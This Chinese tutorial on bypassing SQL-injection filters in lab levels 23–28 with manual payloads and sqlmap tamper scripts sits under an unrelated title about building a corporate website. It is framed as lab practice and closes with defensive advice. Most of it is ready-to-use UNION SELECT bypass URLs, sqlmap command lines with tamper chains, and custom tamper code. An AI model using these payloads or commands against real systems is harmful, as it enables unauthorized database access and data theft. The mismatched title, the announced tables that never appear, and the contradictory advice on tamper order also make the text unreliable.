企业官网建设流程全解析

1. 靶场练习的定位与整体思路拆解

1.1 这个练习到底在练什么

SQL注入的学习路径上，很多人卡在一个尴尬的位置：手工注入能跑通基础的联合查询，但一遇到过滤就懵了。知道有sqlmap这个工具，但只会-u加个URL，跑不出来就换目标，从来没想过为什么跑不出来、怎么调整才能跑出来。

这个练习的核心价值就在于此。它把目标锁定在一个专门用于练习SQL注入的靶场环境中，编号23到28这几个关卡，主题非常明确——过滤绕过。也就是说，服务端已经部署了某种形式的输入过滤机制，常规的注入payload会被拦截或失效，你需要理解过滤的逻辑，然后找到绕过的方法。

为什么选择用sqlmap来打这几关？因为sqlmap本身内置了大量的绕过模块（tamper脚本），这些脚本就是针对各种过滤规则设计的。通过手动指定不同的tamper脚本，你可以直观地观察到：同一个注入点，不加tamper时失败，加了特定的tamper之后成功。这个过程能帮你建立起“过滤规则→绕过策略”的对应关系，而不是死记硬背payload。

适合谁来参考？如果你已经了解SQL注入的基本原理，能看懂联合查询和报错注入的payload，但对手工绕过滤和sqlmap的高级用法还不够熟练，那这几关就是为你准备的。如果你完全没接触过SQL注入，建议先把基础的联合查询和布尔盲注搞清楚再来。

1.2 为什么过滤绕过是SQL注入的核心技能

在实际的Web应用里，开发者不会傻到直接把用户输入拼接到SQL语句里——至少大部分不会。常见的防护手段包括：关键字黑名单（比如过滤union、select、information_schema）、特殊字符转义（比如把单引号变成'）、WAF规则拦截、输入长度限制等等。

但过滤这件事，本质上是一个“猫鼠游戏”。过滤规则是人写的，人写的规则就有漏洞。比如只过滤了小写的union，那大写UNION就能过；只过滤了union select连写，那中间加注释或换行就能过；只过滤了空格，那用括号或注释替代空格就能过。

这几关的设计逻辑就是让你体验这个猫鼠游戏。每一关的过滤规则不同，你需要先判断过滤了什么，然后选择对应的绕过方式。sqlmap的tamper脚本就是把这些绕过方式工具化了，你不需要手动构造每一个payload，但你需要知道在什么场景下用哪个脚本。

1.3 整体练习框架

我把这几关的练习拆成三个阶段：

第一阶段是信息收集。先不急着上sqlmap，手工测一下注入点是否存在，观察服务端的反应。比如输入单引号看是否报错，输入and 1=1和and 1=2看页面是否有差异。这一步的目的是确认注入类型（联合查询、报错、布尔盲注、时间盲注），以及初步判断过滤规则。

第二阶段是手工绕过验证。在确认注入点之后，手工构造几个绕过payload，验证过滤规则的具体内容。比如如果union select被拦了，试试union/**/select或者UNION SELECT。这一步能帮你精确理解过滤的边界。

第三阶段是sqlmap自动化。在手工验证的基础上，选择合适的tamper脚本组合，让sqlmap自动完成注入和数据提取。这一步的关键是tamper脚本的选择和组合，以及sqlmap参数的调整。

这三个阶段不是割裂的，而是迭代的。sqlmap跑不出来的时候，要回到手工阶段重新分析过滤规则；手工绕过成功之后，再把绕过方式转化为sqlmap的tamper配置。

2. 环境准备与基础配置

2.1 靶场环境的搭建要点

这个练习需要一个可运行的SQL注入靶场环境。靶场的部署方式通常有两种：一种是直接下载集成环境（比如某些专门为练习设计的虚拟机镜像或Docker镜像），另一种是手动搭建Web服务器加数据库。

不管用哪种方式，有几个配置点需要注意：

第一，确保靶场的数据库版本和你的sqlmap版本兼容。sqlmap对MySQL、PostgreSQL、MSSQL、Oracle等主流数据库都有支持，但不同版本的语法细节有差异。如果你在靶场里用的是MySQL 8.x，而sqlmap版本较老，可能会遇到一些兼容性问题。

第二，确认靶场的过滤规则是开启状态。有些靶场默认关闭了过滤，你需要手动在配置文件里开启。比如某些靶场会在代码里定义一个过滤函数，你需要确认这个函数被正确调用了。

第三，记录靶场的URL结构和参数名。这几关通常是GET请求，参数名可能是id、sort、search之类的。你需要把完整的URL记下来，后面sqlmap要用。

注意：靶场环境仅用于本地学习和测试，不要对任何未授权的目标使用sqlmap或其他注入工具。这是法律和职业道德的底线。

2.2 sqlmap的安装与版本选择

sqlmap的安装方式很灵活。如果你用的是Kali Linux，系统自带sqlmap，直接终端输入sqlmap就能用。如果是其他系统，可以从官方仓库克隆源码：

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

然后通过python sqlmap.py来运行。我建议用源码方式安装，因为这样方便查看和修改tamper脚本的源码。tamper脚本都在sqlmap/tamper/目录下，每个脚本都是一个Python文件，逻辑很清晰，看不懂的时候直接翻源码比查文档快。

版本方面，尽量用较新的版本。sqlmap的更新频率不低，新版本会修复一些bug，也会增加新的tamper脚本。你可以通过python sqlmap.py --version查看当前版本。

2.3 基础命令参数速览

在开始打这几关之前，先把sqlmap的常用参数过一遍。不需要死记，但要知道有这么个东西，用的时候能想起来。

这几个参数在后面的实操中会反复用到。特别是--tamper和-v，前者是绕过过滤的关键，后者是排查问题的利器。

3. 过滤绕过的核心原理与tamper脚本解析

3.1 常见过滤规则的类型与特征

在动手之前，先把常见的过滤规则梳理清楚。这几关涉及的过滤规则，大致可以归为以下几类：

关键字黑名单：这是最常见的过滤方式。服务端维护一个黑名单列表，比如union、select、information_schema、table_name等，用户输入中如果包含这些关键字，就直接拦截或替换为空。

特殊字符转义：比如把单引号'转义为\'，把双引号"转义为\"。这种过滤的目的是防止字符串逃逸，让你无法闭合原有的SQL语句。

空格过滤：把空格替换为空或下划线。这种过滤针对的是依赖空格分隔关键字的payload，比如union select。

注释符过滤：把--、#、/**/等注释符过滤掉。注释符在注入中常用于截断后续SQL或替代空格。

大小写敏感过滤：只过滤小写或只过滤大写。这种过滤比较粗糙，绕过也简单，改大小写就行。

输入长度限制：限制输入的最大长度。这种过滤会迫使你使用更短的payload，或者分段注入。

理解这些过滤类型的特征，能帮你在遇到拦截时快速判断是哪种规则在起作用。比如如果union select被拦了，但union/**/select能过，那说明过滤的是空格而不是union关键字本身。

3.2 tamper脚本的工作原理

sqlmap的tamper脚本本质上是一组Python函数，每个脚本定义了一个tamper(payload, **kwargs)函数，接收原始payload，返回修改后的payload。sqlmap在发送请求之前，会依次调用指定的tamper脚本，对payload进行变换。

举个例子，space2comment.py这个脚本的作用是把payload中的空格替换为/**/。它的核心逻辑大概是这样的：

def tamper(payload, **kwargs): if payload: payload = payload.replace(" ", "/**/") return payload

就这么简单。但就是这么简单的替换，就能绕过很多只过滤空格的规则。

再比如randomcase.py，它把payload中的关键字随机大小写化：

import random def tamper(payload, **kwargs): if payload: result = "" for char in payload: if char.isalpha(): result += char.upper() if random.randint(0, 1) else char.lower() else: result += char return result return payload

这样union select就变成了UnIoN sElEcT，能绕过大小写敏感的过滤。

理解了这个机制，你就能自己写tamper脚本了。如果现有的脚本都不满足需求，完全可以基于某个脚本改一个出来。

3.3 这几关涉及的tamper脚本清单

针对23到28关的过滤规则，常用的tamper脚本包括但不限于：

这些脚本可以组合使用。比如space2comment加randomcase，同时绕过空格过滤和大小写过滤。组合的时候要注意脚本的执行顺序，sqlmap会按照你指定的顺序依次调用。

提示：不是tamper脚本越多越好。有些脚本组合在一起会互相干扰，导致payload失效。建议一次加一到两个，逐步测试。

4. 实操过程与关键环节实现

4.1 第23关：基础过滤的识别与绕过

第23关通常是这几关中过滤最弱的一关，适合用来热身。先手工测一下注入点：

# 测试单引号 http://target/less-23/?id=1' # 测试布尔条件 http://target/less-23/?id=1' AND '1'='1 http://target/less-23/?id=1' AND '1'='2

如果单引号报错，但AND '1'='1和AND '1'='2页面有差异，说明存在字符型注入，且单引号没有被转义。接下来测试联合查询：

http://target/less-23/?id=1' UNION SELECT 1,2,3--+

如果UNION SELECT被拦了，试试大小写混合：

http://target/less-23/?id=1' UnIoN SeLeCt 1,2,3--+

如果还是不行，试试注释替代空格：

http://target/less-23/?id=1'/**/UNION/**/SELECT/**/1,2,3--+

手工确认了绕过方式之后，用sqlmap来跑：

python sqlmap.py -u "http://target/less-23/?id=1" --dbs --tamper=space2comment --batch

--batch参数让sqlmap自动选择默认选项，不用手动确认每一步。如果跑出来了，说明space2comment这个脚本有效。如果没跑出来，加上-v 3看sqlmap实际发送的payload是什么，对比手工成功的payload，找出差异。

这一关的实操心得是：先手工确认注入点和绕过方式，再用sqlmap自动化。直接上sqlmap容易陷入“跑不出来但不知道为什么”的困境，手工验证能帮你建立信心，也能帮你理解sqlmap在做什么。

4.2 第24关：二次注入与转义绕过

第24关的过滤规则通常涉及对单引号的转义。你输入的单引号会被转义为\'，导致无法闭合SQL语句。这一关的绕过思路和前面不同，需要利用二次注入或者特定的编码技巧。

先手工测试：

http://target/less-24/?id=1'

如果页面没有报错，但也没有正常返回数据，说明单引号被转义了。试试用双引号：

http://target/less-24/?id=1"

如果双引号能触发报错，说明注入点是双引号包裹的。或者试试数字型注入：

http://target/less-24/?id=1 AND 1=1 http://target/less-24/?id=1 AND 1=2

如果数字型能区分真假，说明不需要闭合引号，直接构造逻辑条件就行。

对于转义绕过，sqlmap的apostrophemask脚本可以把单引号替换为UTF-8全角单引号，某些情况下能绕过简单的转义规则：

python sqlmap.py -u "http://target/less-24/?id=1" --dbs --tamper=apostrophemask --batch

如果这一关涉及二次注入（即输入被存储到数据库，然后在另一个查询中被使用），sqlmap的自动化能力会受限，需要更多手工分析。二次注入的核心思路是：第一次插入时用转义后的payload，数据存入数据库时转义被还原，第二次查询时payload生效。

这一关的实操心得是：转义绕过不一定靠tamper脚本，有时候换个注入类型（比如从字符型换到数字型）就能绕过。不要一上来就堆tamper脚本，先分析注入点的上下文。

4.3 第25关：关键字过滤与版本注释绕过

第25关的过滤规则通常涉及关键字黑名单，比如过滤union、select、and、or等。这一关的绕过思路是用版本注释或内联注释把关键字拆开。

手工测试：

http://target/less-25/?id=1' UNION SELECT 1,2,3--+

如果被拦，试试：

http://target/less-25/?id=1' /*!UNION*/ /*!SELECT*/ 1,2,3--+

MySQL支持版本注释/*! ... */，其中的内容会被执行。如果过滤规则只是简单地匹配union select字符串，版本注释能有效绕过。

sqlmap对应的tamper脚本是versionedkeywords或versionedmorekeywords：

python sqlmap.py -u "http://target/less-25/?id=1" --dbs --tamper=versionedkeywords --batch

如果versionedkeywords不够，试试versionedmorekeywords，它覆盖的关键字更多：

python sqlmap.py -u "http://target/less-25/?id=1" --dbs --tamper=versionedmorekeywords --batch

有时候需要组合多个脚本：

python sqlmap.py -u "http://target/less-25/?id=1" --dbs --tamper=versionedmorekeywords,space2comment --batch

这一关的实操心得是：版本注释是MySQL特有的绕过方式，对MSSQL和Oracle不适用。如果你的靶场用的是其他数据库，需要换用对应的绕过方式。另外，版本注释中的关键字大小写不敏感，但注释符号本身不能有空格。

4.4 第26关：空格与注释双重过滤

第26关的过滤规则通常同时过滤空格和注释符。这一关的绕过难度明显提升，因为常用的空格替代方案（/**/）和注释截断方案（--、#）都被封堵了。

手工测试：

http://target/less-26/?id=1' UNION SELECT 1,2,3--+

如果/**/和--都被过滤，试试用括号替代空格：

http://target/less-26/?id=1' UNION(SELECT(1),(2),(3))--+

或者用%0a（换行符）替代空格：

http://target/less-26/?id=1'%0aUNION%0aSELECT%0a1,2,3--+

如果--被过滤，试试用#或;%00截断：

http://target/less-26/?id=1' UNION SELECT 1,2,3#

sqlmap对应的tamper脚本组合：

python sqlmap.py -u "http://target/less-26/?id=1" --dbs --tamper=space2hash,versionedmorekeywords --batch

或者：

python sqlmap.py -u "http://target/less-26/?id=1" --dbs --tamper=space2plus,versionedmorekeywords --batch

这一关的实操心得是：当常用方案都被封堵时，回归HTTP协议本身找突破口。比如URL编码、换行符、制表符、括号，这些都是协议层面允许的，但过滤规则不一定覆盖到。sqlmap的charencode脚本可以对整个payload进行URL编码，有时候能绕过基于字符串匹配的过滤。

4.5 第27关：综合过滤与脚本组合策略

第27关通常是前几关过滤规则的组合，可能同时涉及关键字过滤、空格过滤、注释过滤、大小写过滤等。这一关没有单一的绕过方案，需要根据实际过滤规则组合tamper脚本。

先手工探测过滤规则：

# 测试空格 http://target/less-27/?id=1' UNION SELECT 1,2,3--+ http://target/less-27/?id=1'/**/UNION/**/SELECT/**/1,2,3--+ # 测试大小写 http://target/less-27/?id=1' UnIoN SeLeCt 1,2,3--+ # 测试注释 http://target/less-27/?id=1' UNION SELECT 1,2,3# http://target/less-27/?id=1' UNION SELECT 1,2,3--+

根据探测结果，组合tamper脚本。比如如果空格和大小写都被过滤：

python sqlmap.py -u "http://target/less-27/?id=1" --dbs --tamper=space2comment,randomcase --batch

如果关键字也被过滤：

python sqlmap.py -u "http://target/less-27/?id=1" --dbs --tamper=space2comment,randomcase,versionedmorekeywords --batch

如果还是不行，试试更激进的组合：

python sqlmap.py -u "http://target/less-27/?id=1" --dbs --tamper=space2comment,randomcase,versionedmorekeywords,charencode --batch

这一关的实操心得是：tamper脚本的组合顺序会影响最终payload。sqlmap按照你指定的顺序依次调用脚本，前一个脚本的输出是后一个脚本的输入。所以顺序很重要。一般来说，先做字符替换（如空格替换），再做编码（如URL编码），最后做关键字变形（如版本注释）。如果顺序反了，可能导致编码后的字符被后续脚本破坏。

4.6 第28关：极限绕过与自定义tamper

第28关通常是过滤最严格的一关，可能涉及WAF级别的规则。这一关的绕过需要更精细的分析和更灵活的脚本组合，甚至需要自定义tamper脚本。

先手工探测：

# 测试各种payload http://target/less-28/?id=1' UNION SELECT 1,2,3--+ http://target/less-28/?id=1' UNION ALL SELECT 1,2,3--+ http://target/less-28/?id=1' UNION DISTINCT SELECT 1,2,3--+ http://target/less-28/?id=1' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--+

如果标准payload都被拦，试试用UNION ALL SELECT或UNION DISTINCT SELECT替代UNION SELECT，因为有些过滤规则只匹配UNION SELECT连写。

sqlmap的nonrecursivereplacement脚本可以把关键字替换为空后再拼接，专门对付递归过滤：

python sqlmap.py -u "http://target/less-28/?id=1" --dbs --tamper=nonrecursivereplacement --batch

如果现有脚本都不行，可以自定义一个tamper脚本。比如写一个脚本，把UNION SELECT替换为UNION ALL SELECT：

def tamper(payload, **kwargs): if payload: payload = payload.replace("UNION SELECT", "UNION ALL SELECT") return payload

保存为custom_tamper.py，放到sqlmap/tamper/目录下，然后用--tamper=custom_tamper调用。

这一关的实操心得是：自定义tamper脚本是终极手段，但前提是你已经手工验证了绕过方式。不要盲目写脚本，先手工构造一个能成功的payload，然后把手工payload的变换逻辑写成脚本。另外，自定义脚本要注意大小写和空格的处理，因为sqlmap传入的payload格式可能和你手工构造的不完全一样。

5. 常见问题与排查技巧实录

5.1 sqlmap跑不出来怎么办

这是最常见的问题。sqlmap跑不出来，原因可能有很多，排查思路如下：

第一步：确认注入点是否存在。手工测试单引号、双引号、数字型条件，看服务端是否有报错或页面差异。如果手工都测不出来，sqlmap大概率也跑不出来。

第二步：确认过滤规则。手工测试常见的绕过payload，看哪些能过、哪些不能过。这一步的目的是缩小tamper脚本的选择范围。

第三步：查看sqlmap的详细输出。加上-v 3参数，观察sqlmap实际发送的payload。对比手工成功的payload，找出差异。

第四步：调整tamper脚本。根据差异，增加或更换tamper脚本。如果现有脚本都不行，考虑自定义。

第五步：调整sqlmap参数。比如提高--level和--risk，指定--technique，指定--dbms，这些参数会影响sqlmap的测试策略。

5.2 tamper脚本组合的常见坑

tamper脚本组合使用时有几个常见的坑：

坑一：脚本顺序错误。前面说过，脚本按顺序执行，顺序错了可能导致payload失效。比如先做URL编码再做空格替换，空格替换就找不到空格了。

坑二：脚本互相干扰。比如space2comment把空格替换为/**/，而versionedkeywords又把/**/当作注释处理，可能导致payload结构混乱。

坑三：脚本不兼容数据库。比如versionedkeywords是MySQL专用的，用在MSSQL上会失败。

坑四：脚本版本过旧。sqlmap更新后，某些tamper脚本的逻辑可能变了，旧版本的脚本可能不适用。

避免这些坑的方法是：一次只加一个脚本，逐步测试。每加一个脚本，用-v 3看payload的变化，确认脚本生效且没有破坏payload结构。

5.3 手工绕过与sqlmap绕过的差异

手工绕过成功，不代表sqlmap一定能跑出来。原因在于：

差异一：payload结构不同。手工构造的payload是针对特定注入点的，而sqlmap生成的payload是通用的，可能包含额外的测试逻辑。

差异二：编码方式不同。手工在浏览器或Burp里发送的payload，编码方式可能和sqlmap不同。比如浏览器会自动URL编码某些字符，而sqlmap可能不会。

差异三：请求头不同。sqlmap默认的User-Agent、Referer等请求头可能和浏览器不同，某些WAF会检查这些头。

差异四：注入技术不同。手工可能用的是联合查询，而sqlmap可能优先尝试布尔盲注或时间盲注。可以通过--technique参数强制指定。

解决这些差异的方法是：用sqlmap的--proxy参数把流量转发到Burp，对比sqlmap发送的请求和手工发送的请求，找出差异并调整。

5.4 常见问题速查表

5.5 几个实用的调试技巧

技巧一：用--proxy转发到Burp。这是最有效的调试方法。sqlmap发送的请求在Burp里一目了然，你可以看到完整的payload、请求头、响应内容。

技巧二：用--flush-session清除缓存。sqlmap会缓存会话信息，有时候缓存会导致测试结果不准确。加上这个参数可以强制重新测试。

技巧三：用--output-dir指定输出目录。sqlmap的日志和结果文件默认保存在~/.sqlmap/output/下，指定输出目录方便管理。

技巧四：用--answers自动回答交互问题。比如--answers="extending=N"可以在sqlmap询问是否继续测试时自动回答No。

技巧五：用--smart快速测试。这个参数让sqlmap只做少量测试就给出结论，适合快速判断注入点是否存在。

6. 从这几关延伸出的实战思考

6.1 真实场景中的过滤绕过思路

靶场里的过滤规则是固定的、已知的，但真实场景中的过滤规则往往是未知的、动态的。在真实场景中做过滤绕过，思路要更灵活：

思路一：从业务逻辑找突破口。过滤规则通常针对的是通用的注入payload，但业务逻辑中的特殊参数可能没有被覆盖。比如排序参数、分页参数、搜索参数，这些地方的过滤可能更弱。

思路二：从编码方式找突破口。服务端接收数据的方式可能不止一种。比如GET参数、POST参数、Cookie、HTTP头，不同位置的过滤规则可能不同。

思路三：从数据库特性找突破口。不同数据库有不同的语法特性，比如MySQL的版本注释、MSSQL的堆叠查询、Oracle的包和函数。了解这些特性，能帮你找到针对性的绕过方式。

思路四：从WAF特性找突破口。WAF的规则通常基于正则匹配，正则匹配的局限性在于难以覆盖所有变体。比如大小写混合、注释插入、编码变换，这些都能绕过基于正则的WAF。

6.2 自动化工具与手工分析的平衡

sqlmap是强大的工具，但不是万能的。在这几关的练习中，我最大的体会是：手工分析是基础，自动化工具是加速器。

手工分析能帮你理解过滤规则的本质，能帮你建立“过滤→绕过”的直觉。这种直觉在遇到新场景时非常重要，因为新场景的过滤规则可能和靶场完全不同。

自动化工具能帮你节省时间，能帮你覆盖更多的测试用例。但自动化工具的输出需要人工判断，不能盲目相信。

我的建议是：先用手工分析确认注入点和绕过方式，再用sqlmap自动化提取数据。如果sqlmap跑不出来，回到手工分析，找出差异，调整策略。这个循环迭代的过程，就是技能提升的过程。

6.3 防御视角的思考

练完这几关，不妨换个角度想想：如果你是开发者，怎么防止这些绕过？

防御一：参数化查询。这是最根本的防御方式。参数化查询把SQL语句和参数分开处理，参数不会被解释为SQL代码，从根本上杜绝了注入。

防御二：白名单验证。对于已知的输入类型（比如数字ID、日期、枚举值），用白名单验证，只允许合法的输入通过。

防御三：最小权限原则。数据库账号只授予必要的权限，比如只读权限，这样即使注入成功，攻击者也无法执行危险操作。

防御四：WAF加日志监控。WAF可以拦截常见的注入payload，日志监控可以发现异常的注入尝试。

防御五：定期安全测试。定期用sqlmap等工具对自己的应用进行安全测试，发现并修复注入漏洞。

从防御视角思考，能帮你更深刻地理解注入的本质，也能帮你在实战中更快地判断哪些注入点更有价值。

6.4 后续进阶方向

这几关练完之后，可以往以下几个方向进阶：

方向一：NoSQL注入。MongoDB、Redis等NoSQL数据库也有注入问题，注入的语法和SQL不同，但思路类似。

方向二：ORM注入。很多应用用ORM框架（如Hibernate、MyBatis）操作数据库，ORM框架的注入点和原生SQL不同，需要专门研究。

方向三：盲注优化。布尔盲注和时间盲注的效率很低，可以研究如何优化盲注脚本，提高数据提取速度。

方向四：WAF绕过进阶。研究更高级的WAF绕过技术，比如分块传输、协议层绕过、混淆编码等。

方向五：自动化漏洞挖掘。把sqlmap集成到自动化扫描流程中，结合爬虫和指纹识别，实现大规模的注入漏洞挖掘。

这些方向每一个都值得深入，但前提是基础扎实。这几关的过滤绕过练习，就是打基础的过程。基础打好了，后面的进阶会顺畅很多。

我个人在实际操作中的体会是，sqlmap的tamper脚本虽然多，但常用的就那么几个。真正重要的是理解过滤规则和绕过原理，这样遇到新场景时才能灵活应对。另外，靶场练习和真实场景的差距在于，靶场的过滤规则是静态的，真实场景的过滤规则可能是动态的、多层的。所以练习的时候要多问“为什么”，而不是只记“怎么做”。